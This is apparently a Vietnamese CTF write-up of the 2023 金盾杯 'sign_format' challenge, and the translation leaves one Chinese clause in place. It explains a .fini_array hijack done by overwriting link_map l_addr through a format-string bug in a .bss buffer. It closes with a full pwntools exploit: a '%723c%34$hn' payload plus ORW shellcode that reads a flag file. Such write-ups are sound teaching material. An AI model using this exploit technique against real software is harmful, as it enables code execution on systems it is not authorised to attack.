Kỹ Thuật Chiếm Hủy .fini_array Trong Lỗ Hổng Chuỗi Định Dạng Không Trên Stack

1. Kỹ Thuật Chiếm Hủy .fini_array

Tuần trước mình đã tham gia giải đấu 金盾杯, đây là lần đầu tiên mình làm bài toán về lỗ hổng chuỗi định dạng không nằm trên stack. Trước đây mình chỉ từng đọc qua một chút trên ctfwiki. Trong quá trình làm, mình đã học được nhiều điều và giải được bài này trong giờ cuối cùng, cảm giác rất tuyệt. Dựa vào bài toán 金盾杯 làm ví dụ

1.1 金盾杯 2023 - sign_format

Giới thiệu bài toán: Một bài toán về lỗ hổng chuỗi định dạng không nằm trên stack, thông qua việc sửa đổi giá trị offset trong mảng dl_fini, làm cho hàm thực thi shellcode được viết trong đoạn bss khi thoát ra.

Phân tích cơ chế bảo vệ: Bài toán không bật PIE, các cơ chế bảo vệ khác đều được bật. Ngoài ra còn bật sandbox, cần kỹ thuật ORW.

Luồng xử lý chính của bài toán:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  sub_40135D();
  puts("Welcome here!");
  puts("It's a simple sign-in question.");
  puts("Let's start!");
  close(1);
  read(0, format, 0x100uLL);
  printf(format);
  return 0LL;
}

Có một đầu vào dài, sau đó là lỗ hổng chuỗi định dạng, nhưng đã tắt luồng đầu ra tiêu chuẩn.

Trong đó, biến format được lưu trên đoạn bss, do đó không thể sửa địa chỉ trả về nữa. Với lỗ hổng chuỗi định dạng không nằm trên stack, chúng ta không thể thực hiện ghi địa chỉ bất kỳ thông qua việc truy cập địa chỉ nằm trên stack. Hơn nữa không thể kiểm soát được địa chỉ trả về.

Xem xét sử dụng kỹ thuật chiếm hủy .fini_array

1.2 Chiếm Hủy .fini_array

Chức năng thực hiện: Khi thực thi hàm exit, thực thi chương trình ở bất kỳ địa chỉ nào

Điều kiện cần có: Cần sửa đổi một giá trị nằm trong đoạn ld.so. Đoán rằng giá trị này sẽ còn lại trên stack trong quá trình liên động động (có thể chưa chắc chắn)

1.2.1 Phân tích Nguyên lý

Dưới đây là luồng thực thi của chương trình:

Theo sơ đồ luồng trên, khi hàm thoát ra sẽ gọi hàm exit, nếu chúng ta kiểm soát được tham số finiarray của hàm exit, có thể thực thi mã bất kỳ, chúng ta hãy phân tích cụ thể hơn về tham số finiarray này là gì:

1.2.2 Hàm dl_fini

Khi hàm exit thực thi sẽ gọi hàm dl_fini.

Ban đầu l->l_addr bằng 0, con trỏ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr trỏ đến địa chỉ của đoạn fini_array trong chương trình, tức là giá trị của l->l_info[DT_FINI_ARRAY]->d_un.d_ptr là 0x0000000000403D98

Nếu chúng ta có thể kiểm soát con trỏ linkmap->l_addr, có thể dịch chuyển chương trình đến vị trí chúng ta viết, thực thi shellcode. Lưu ý ở đây lưu trữ một địa chỉ chương trình: 0x401200, do đó khi chúng ta giả mạo l_addr, hãy thay đổi giá trị sau khi dịch chuyển thành địa chỉ của shellcode.

Vậy làm thế nào để kiểm soát l_addr thông qua chuỗi định dạng? Điều này cần sử dụng một con trỏ trên ld.so còn lại trên stack

1.3 Phân tích Tích hợp Sử dụng Quá trình với gdb

Đầu tiên, sau khi hàm main thực thi xong sẽ nhảy đến hàm exit để thực thi:

Sau đó chúng ta bước vào hàm exit:

Có thể thấy hàm exit sẽ gọi một hàm có tên __run_exit_handlers Tiếp tục bước vào, cho đến khi hàm này gọi hàm __dl_fini, sau đó hàm dl_fini sẽ thực thi gọi địa chỉ rax:

Xem cụ thể địa chỉ rax là 0x40406b, trỏ đến 0x404073, thực ra đây đã bị chúng ta sửa đổi. Ban đầu rax phải là 0x0403D98 -> 0x401200, ban đầu sẽ thực thi đoạn mã này:

Hàm dl_fini:

Khi chúng ta đã sửa đổi l_addr, array[i] có thể được kiểm soát.

Chúng ta chỉ cần tính 0x40406B - 0x403D98 = 723 là biết chúng ta nên thay đổi l_addr thành bao nhiêu. Vậy chúng ta sửa giá trị này như thế nào?

1.4 Sửa đổi l->l_addr trong ElfW để chiếm hữu fini_array thực thi

Như đã nói ở trên, trên stack có một địa chỉ của ld.so còn lại, đoán là còn lại trong quá trình liên động động, tương ứng với bài toán này:

Đó chính là địa chỉ màu hồng có kết thúc bằng 0x2e0. Giá trị lưu trong đó là 0x2d3 chính là 723, đây là sau khi thực hiện lỗ hổng chuỗi định dạng, đã bị chúng ta sửa đổi. Ban đầu trong đó phải lưu giá trị 0, tương ứng với l->l_addr = 0

Cụ thể trong hàm dl_fini:

Thực hiện add rax,qword ptr [r15], r15 lúc này lưu chính là dữ liệu ld.so lưu trên stack, chỉ cần sử dụng lỗ hổng chuỗi định dạng để sửa đổi giá trị lưu trong địa chỉ ld.so này, có thể kiểm soát cho giá trị lưu trong rax từ 0x401200+0x0 thành địa chỉ shellcode chúng ta muốn thực thi. Đây chính là tương ứng với l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr, từ đó làm cho fini_array bị chiếm hữu. Còn sửa thành số cụ thể nào, chúng ta đã tính ở trên: 0x40406B - 0x403D98 = 723 Tiếp theo chỉ cần tìm offset chuỗi định dạng của địa chỉ ld.so này,然后将其中存放的数据从0修改为723即可.

Chèn thêm một chút

Trong quá trình thực hiện dl_fini có vài bước giá trị của rax là 0x403e00:

Đây thực ra là địa chỉ của đoạn .dynamic, lưu trữ bảng thông tin cho các hàm liên động động, hoặc các địa chỉ khác. Cần xem giá trị cụ thể:

Cấu trúc như sau:
typedef struct{
	ELF64_Sxword d_tag;
	union{
		ELF64_Xword d_val;
		ELF64_Addr d_ptr;
	}d_un;
}ELF64_Dyn;

Cấu trúc này dựa vào giá trị cụ thể của d_tag đầu tiên để chọn giá trị thứ hai dùng để làm gì. Ở đây có lẽ là để tìm offset của dl_fini. Các bạn đã học qua ret2dlresolve chắc quen thuộc với điều này

Quay lại nội dung chính

1.4 Mã khai thác

from ctypes import *
from pwn import *
banary = "/home/giantbranch/PWN/question/City/jindun/2023/pwn1"
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF(banary)
# libc = ELF("/home/giantbranch/PWN/libc/libc.so.6")
# libc=ELF("/home/giantbranch/PWN/libc/libc6_2.27-3ubuntu1.5_amd64.so")
ip = '123.56.237.147'
port = 47726
local = 1
if local:
    io = process(banary)
else:
    io = remote(ip, port)

context(log_level = 'debug', os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def dbg():
    gdb.attach(io)
    pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()

main_read = 0x0040144A

bss = 0x0404060

fini_array = 0x403d90   #0x403d98 - 0x403da0  .fini_array
    # array[0]->__do_global_dtors_aux
    # array[1]->fini

# payload = b"%"+b"240c%21$hhn"
# payload = b"%"+b"584c%34$hn"
#0x403fe0
# payload = b"%"+b"723c%34$hn"
payload = b"%"+b"723c%34$hn"

payload2= """
   push   0x67616c66
   push   0x2
   pop    rax
   mov    rdi,rsp
   xor    rsi,rsi
   syscall
   mov    rdi,rax
   xor    rax,rax
   mov    rsi,0x404200
   push   0x30
   pop    rdx
   syscall
   push   0x1
   pop    rax
   push   0x2
   pop    rdi
   mov    rsi,0x404200
   push   0x30
   pop    rdx
   syscall
"""
print(len(payload))
payload = payload + p64(0x40406b+8)+ asm(payload2)
print(len(payload))
dbg()
sl(payload)

ia()

Cuối cùng, tham khảo blog trong thời gian thi đấu: Có thể coi đây là cơ hội để mình học kỹ thuật về lỗ hổng chuỗi định dạng không nằm trên stack. Bài giải thích về lỗ hổng chuỗi định dạng không nằm trên stack: Kỹ thuật khai thác lỗ hổng chuỗi định dạng không nằm trên stack

Bài giải thích về chiếm hủy dl_fini: BUUCTF_de1ctf_2019_unprintable de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)

Thẻ: pwn format-string fini_array exploit binary-exploitation

Đăng vào ngày 18 tháng 6 lúc 23:27